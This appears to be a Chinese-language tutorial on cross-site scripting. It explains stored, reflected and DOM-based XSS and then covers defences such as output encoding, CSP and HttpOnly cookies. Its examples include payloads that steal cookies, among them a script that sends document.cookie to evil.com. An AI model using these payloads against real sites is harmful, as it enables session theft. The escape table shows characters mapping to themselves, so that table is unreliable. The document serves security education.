XSS 攻击
什么是 XSS
跨站脚本攻击(Cross-Site Scripting):攻击者向目标网站注入恶意脚本, 使其在其他用户的浏览器中执行,从而窃取 Cookie、SessionID 等敏感信息。
三种类型
1. 存储型(危害最大)
恶意脚本存入数据库,所有访问该页面的用户都中招。
① 攻击者在评论框提交:<script>fetch('evil.com?c='+document.cookie)</script>
② 服务端未过滤,存入数据库
③ 其他用户访问页面,服务端将脚本渲染到 HTML 中
④ 所有用户的 cookie 被发送给攻击者
常见场景:评论区、用户简介、聊天消息
2. 反射型
恶意脚本藏在 URL 参数中,服务端将其直接反射到响应页面。
攻击者构造链接诱导用户点击:
https://bank.com/search?q=<script>steal(document.cookie)</script>
服务端直接将 q 参数渲染到页面:
<p>搜索结果:<script>steal(document.cookie)</script></p>
特点:不持久化,需要诱导用户点击链接才能触发
3. DOM 型
脚本不经过服务端,完全在浏览器端由 JS 操作 DOM 时触发。
// 页面 JS 读取 URL hash 并插入 DOM(危险写法)
document.getElementById('output').innerHTML = location.hash.slice(1)
// 攻击者构造:
// https://example.com/page#<img src=x onerror=steal(document.cookie)>
特点:服务端日志看不到攻击内容,更难发现
防御方案
1. 输出编码(核心防御)
在将用户数据渲染到 HTML 之前,转义特殊字符:
| 原字符 | 转义后 |
|---|---|
< | < |
> | > |
& | & |
" | " |
' | ' |
// 危险
element.innerHTML = userInput
// 安全
element.textContent = userInput // 纯文本场景
element.innerHTML = DOMPurify.sanitize(userInput) // 需要保留 HTML 格式时
注意:不同上下文需要不同编码——HTML 上下文用 HTML 编码,JS 上下文用 JS 编码,不能混用。
2. CSP(Content Security Policy)
通过 HTTP 响应头,告诉浏览器哪些资源可以执行:
Content-Security-Policy: script-src 'self'; object-src 'none'
script-src 'self':只允许加载同域脚本,禁止内联脚本和外域脚本- 即使注入了脚本,浏览器也拒绝执行
3. HttpOnly Cookie
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Lax
HttpOnly 使 JS 无法通过 document.cookie 读取该 cookie, 即使 XSS 发生,攻击者也无法直接窃取 session。
4. 输入过滤(辅助手段)
对 <、>、script 等关键词做过滤,但不能作为主要防御—— 攻击者可通过编码(<、%3C)或大小写变体绕过。
防御方案对比
| 方案 | 防御层级 | 说明 |
|---|---|---|
| 输出编码 | 服务端/前端 | 最根本的防御,应始终开启 |
| CSP | 浏览器 | 现代最强防线,纵深防御 |
| HttpOnly | 浏览器 | 降低 XSS 危害,不能阻止攻击 |
| 输入过滤 | 服务端/前端 | 辅助手段,单独使用不可靠 |